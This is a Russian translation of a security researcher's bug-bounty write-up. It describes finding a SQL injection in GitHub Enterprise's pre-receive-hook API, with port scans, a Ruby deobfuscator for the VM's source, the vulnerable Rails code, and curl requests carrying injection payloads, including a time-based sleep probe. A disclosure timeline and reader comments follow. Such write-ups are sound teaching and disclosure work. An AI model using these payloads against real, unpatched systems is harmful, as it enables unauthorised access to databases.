Привет Хабр,
Ниже рассказ автора Orange Tsai о том, как он целенаправленно искал уязвимость в корпоративной версии GitHub и в итоге обнаружил возможность SQL инъекции. Тут, на хабре, ранее уже публиковался перевод другой его статьи "Как я взломал Facebook и обнаружил чужой бэкдор".
Перед началом
GitHub Enterprise это корпоративная версия GitHub.com, предназначенная для развёртывания платформы GitHub в приватной сети для разработки. Зайдя на enterprise.github.com можно скачать виртуальную машину (VM) с бесплатным пробным периодом в 45 дней.
После установки мы увидим:
Теперь, в моей VM есть полная экосистема GitHub. Это так интересно, что мне захотелось взглянуть на VM поближе :P.
Окружение
Началом всего и вся является сканирование портов. После вызова полезной утилиты Nmap, можно увидеть что в VM открыты 6 портов.
$ nmap -sT -vv -p 1-65535 192.168.187.145
...
PORT STATE SERVICE
22/tcp open ssh
25/tcp closed smtp
80/tcp open http
122/tcp open smakynet
443/tcp open https
8080/tcp closed http-proxy
8443/tcp open https-alt
9418/tcp open git
После некоторого анализа сервисов, можно сказать, что:
- 22/tcp и 9418/tcp похожи на haproxy и перенаправляют подключения в сервис бэкенда babeld.
- 80/tcp и 443/tcp это основные службы GitHub.
- 122/tcp — служба SSH.
- 8443/tcp — консоль управления GitHub.
К слову, консоль управления GitHub требует пароль для входа. Если есть пароль, то можно добавить свой SSH ключ и подключиться к VM через 122/tcp.
Используя SSH подключение к VM, мы взглянули на всю систему и по всей видимости кодовая база лежит в директории /data/.
# ls -al /data/
total 92
drwxr-xr-x 23 root root 4096 Nov 29 12:54 .
drwxr-xr-x 27 root root 4096 Dec 28 19:18 ..
drwxr-xr-x 4 git git 4096 Nov 29 12:54 alambic
drwxr-xr-x 4 babeld babeld 4096 Nov 29 12:53 babeld
drwxr-xr-x 4 git git 4096 Nov 29 12:54 codeload
drwxr-xr-x 2 root root 4096 Nov 29 12:54 db
drwxr-xr-x 2 root root 4096 Nov 29 12:52 enterprise
drwxr-xr-x 4 enterprise-manage enterprise-manage 4096 Nov 29 12:53 enterprise-manage
drwxr-xr-x 4 git git 4096 Nov 29 12:54 failbotd
drwxr-xr-x 3 root root 4096 Nov 29 12:54 git-hooks
drwxr-xr-x 4 git git 4096 Nov 29 12:53 github
drwxr-xr-x 4 git git 4096 Nov 29 12:54 git-import
drwxr-xr-x 4 git git 4096 Nov 29 12:54 gitmon
drwxr-xr-x 4 git git 4096 Nov 29 12:54 gpgverify
drwxr-xr-x 4 git git 4096 Nov 29 12:54 hookshot
drwxr-xr-x 4 root root 4096 Nov 29 12:54 lariat
drwxr-xr-x 4 root root 4096 Nov 29 12:54 longpoll
drwxr-xr-x 4 git git 4096 Nov 29 12:54 mail-replies
drwxr-xr-x 4 git git 4096 Nov 29 12:54 pages
drwxr-xr-x 4 root root 4096 Nov 29 12:54 pages-lua
drwxr-xr-x 4 git git 4096 Nov 29 12:54 render
lrwxrwxrwx 1 root root 23 Nov 29 12:52 repositories -> /data/user/repositories
drwxr-xr-x 4 git git 4096 Nov 29 12:54 slumlord
drwxr-xr-x 20 root root 4096 Dec 28 19:22 user
Перейдём в /data/ и попробуем посмотреть на исходники. Кажется, они закодированы :(
GitHub использует собственную библиотеку для обфускации исходного кода. Если поискать в Гугле «ruby_concealer.so», то найдёте доброго человека, написавшего сниппет для деобфускации.
Сниппет получается простой заменой в ruby_concealer.so вызовов rb_f_eval на rb_f_puts и это работает.
Но нельзя называться хакером, не поняв как именно это работает. Поэтому откроем IDA Pro!
Как можно заметить, тут используется Zlib::Inflate::inflate для распаковывания и операции XOR со следующим ключом:
This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken.
[перевод] Данная обфускация предназначена чтобы отбить желание пользователей GitHub Enterprise вносить изменения в VM. Мы знаем, что это "кодирование" легко ломается.
Значит можно легко написать свой деобфускатор!
require 'zlib'
key = "This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken. "
def decrypt(s)
i, plaintext = 0, ''
Zlib::Inflate.inflate(s).each_byte do |c|
plaintext << (c ^ key[i%key.length].ord).chr
i += 1
end
plaintext
end
content = File.open(ARGV[0], "r").read
content.sub! %Q(require "ruby_concealer.so"\n__ruby_concealer__), " decrypt "
plaintext = eval content
puts plaintext
Анализ кода
После деобфускации можно наконец начать обозревать код.
$ cloc /data/
81267 text files.
47503 unique files.
24550 files ignored.
http://cloc.sourceforge.net v 1.60 T=348.06 s (103.5 files/s, 15548.9 lines/s)
-----------------------------------------------------------------------------------
Language files blank comment code
-----------------------------------------------------------------------------------
Ruby 25854 359545 437125 1838503
Javascript 4351 109994 105296 881416
YAML 600 1349 3214 289039
Python 1108 44862 64025 180400
XML 121 6492 3223 125556
C 444 30903 23966 123938
Bourne Shell 852 14490 16417 87477
HTML 636 24760 2001 82526
C++ 184 8370 8890 79139
C/C++ Header 428 11679 22773 72226
Java 198 6665 14303 45187
CSS 458 4641 3092 44813
Bourne Again Shell 142 6196 9006 35106
m4 21 3259 369 29433
...
$ ./bin/rake about
About your application's environment
Ruby version 2.1.7 (x86_64-linux)
RubyGems version 2.2.5
Rack version 1.6.4
Rails version 3.2.22.4
JavaScript Runtime Node.js (V8)
Active Record version 3.2.22.4
Action Pack version 3.2.22.4
Action Mailer version 3.2.22.4
Active Support version 3.2.22.4
Middleware GitHub::DefaultRoleMiddleware, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::Callbacks, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, ActionDispatch::Head, Rack::ConditionalGet, Rack::ETag, ActionDispatch::BestStandardsSupport
Application root /data/github/9fcdcc8
Environment production
Database adapter githubmysql2
Database schema version 20161003225024
Большинство кода написано на Ruby (Ruby on Rails и Sinatra).
- /data/github/ судя по всему и есть приложение, работающее с портами 80/tcp, 443/tcp и похоже это та же кодовая база что и на github.com, gist.github.com и api.github.com
- /data/render/ видимо кодовая база render.githubusercontent.com
- /data/enterprise-manage/ похоже на приложение, которое работает с портом 8443/tcp
Чтобы узнать, работает ли приложение в корпоративном режиме, либо же в GitHub.com, GitHub Enterprise использует соответственно enterprise? и dotcom?.
Уязвимость
У меня ушла, приблизительно, одна неделя чтобы найти данную уязвимость. Я не знаком с Ruby, поэтому учил на ходу, пробуя писать на нём :P
Так, грубо говоря, прошла моя неделя.
- День 1 — Установка VM
- День 2 — Установка VM
- День 3 — Изучение Rails путём анализа кода
- День 4 — Изучение Rails путём анализа кода
- День 5 — Изучение Rails путём анализа кода
- День 6 — А вот я и нашёл SQL инъекцию!
SQL инъекция была найдена в модели PreReceiveHookTarget.
Основная причина уязвимости кроется в строке №45 файла /data/github/current/app/model/pre_receive_hook_target.rb.
33 scope :sorted_by, -> (order, direction = nil) {
34 direction = "DESC" == "#{direction}".upcase ? "DESC" : "ASC"
35 select(<<-SQL)
36 #{table_name}.*,
37 CASE hookable_type
38 WHEN 'global' THEN 0
39 WHEN 'User' THEN 1
40 WHEN 'Repository' THEN 2
41 END AS priority
42 SQL
43 .joins("JOIN pre_receive_hooks hook ON hook_id = hook.id")
44 .readonly(false)
45 .order([order, direction].join(" "))
46 }
Хотя в Rails есть встроенный ORM (называемый ActiveRecord), который должен защищать от SQL инъекций, наивное его использование может таить угрозу.
Больше примеров есть на Rails-sqli.org. Думаю полезно знать о SQL инъекциях в Rails.
В данном случае, если нам удастся изменить параметр метода order, то получится внедрить вредоносный SQL запрос.
Хорошо, теперь давайте проследим вызовы! sorted_by вызывается в строке №61 файла /data/github/current/app/api/org_pre_receive_hooks.rb.
10 get "/organizations/:organization_id/pre-receive-hooks" do
11 control_access :list_org_pre_receive_hooks, :org => org = find_org!
12 @documentation_url << "#list-pre-receive-hooks"
13 targets = PreReceiveHookTarget.visible_for_hookable(org)
14 targets = sort(targets).paginate(pagination)
15 GitHub::PrefillAssociations.for_pre_receive_hook_targets targets
16 deliver :pre_receive_org_target_hash, targets
17 end
...
60 def sort(scope)
61 scope.sorted_by("hook.#{params[:sort] || "id"}", params[:direction] || "asc")
62 end
Обратите внимание, params[:sort] передается в scope.sorted_by. Значит можно осуществить инъекцию через params[:sort].
Перед тем как воспользоваться уязвимостью, понадобится действующий токен access_token с параметром admin:pre_receive_hook чтобы обращаться к API. К счастью, его можно получить с помощью команды:
$ curl -k -u 'nogg:nogg' 'https://192.168.187.145/api/v3/authorizations' -d '{"scopes":"admin:pre_receive_hook","note":"x"}'
{
"id": 4,
"url": "https://192.168.187.145/api/v3/authorizations/4",
"app": {
"name": "x",
"url": "https://developer.github.com/enterprise/2.8/v3/oauth_authorizations/",
"client_id": "00000000000000000000"
},
"token": "????????",
"hashed_token": "1135d1310cbe67ae931ff7ed8a09d7497d4cc008ac730f2f7f7856dc5d6b39f4",
"token_last_eight": "1fadac36",
"note": "x",
"note_url": null,
"created_at": "2017-01-05T22:17:32Z",
"updated_at": "2017-01-05T22:17:32Z",
"scopes": [
"admin:pre_receive_hook"
],
"fingerprint": null
}
После получения токена, можно воспользоваться уязвимостью так:
$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' 'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+information_schema.tables+limit+1,1)'
[
]
$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' 'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+mysql.user+limit+1,1)'
{
"message": "Server Error",
"documentation_url": "https://developer.github.com/enterprise/2.8/v3/orgs/pre_receive_hooks"
}
$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' 'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,if(user()="github@localhost",sleep(5),user())
{
...
}
Хронология
- 26.12.2016 05:48 Сообщение о уязвимости в GitHub через HackerOne.
- 26.12.2016 08:39 GitHub подтверждает существование проблемы и работает над её устранением.
- 26.12.2016 15:48 Сообщение о деталях уязвимости.
- 28.12.2016 02:44 GitHub отвечает, что уязвимость устранят в следующей версии GitHub Enterprise.
- 04.01.2017 06:41 GitHub предлагает награду в $5000.
- 05.01.2017 02:37 Спрашиваю можно ли написать об этом в блоге.
- 05.01.2017 03:06 GitHub любезно разрешает рассказать об этом.
- 05.01.2017 07:06 Релиз GitHub Enterprise версии 2.8.5!
Поделиться с друзьями
Комментарии (6)
Dreyk
18.01.2017 13:36- 2017
- Rails version 3.2.22.4
- печаль =(
если что, то рельсы 3-й версии уже не получают security patches даже для severe security issues
Tonkonozhenko
18.01.2017 16:23Насколько я знаю, они не на ванильных рельсах, у них своя сборка.
Dreyk
18.01.2017 17:18это конечно объясняет, почему они до сих пор на трешке, но лучше от этого не становится
Envek
20.01.2017 10:04+1За всё время написали столько кода и сделали настолько большие приложения, что некоторые до сих пор с 2.3 обновиться не могут. Специально для них даже есть платная Rails LTS, которая получает патчи. И, видимо, есть немало компаний, которые считают, что платить за поддержку старых версий рельсы выгоднее, чем обновляться.
Dreyk
20.01.2017 12:40прикольно, не знал про LTS. ну я читал где-то блог кого-то кто в гитхабе работает, там он пишет, что собираются они перебираться на ruby 2.3 и рельсы тоже подтягивать
Envek
Ох, не боги горшки обжигают… Так проколоться и не проверить входные данные перед тем как сформировать из них просто кусочек SQL-я, а ведь даже в примерах в документации Rails для начинающих Rails Guides видно, что это просто фрагмент SQL: http://guides.rubyonrails.org/active_record_querying.html#ordering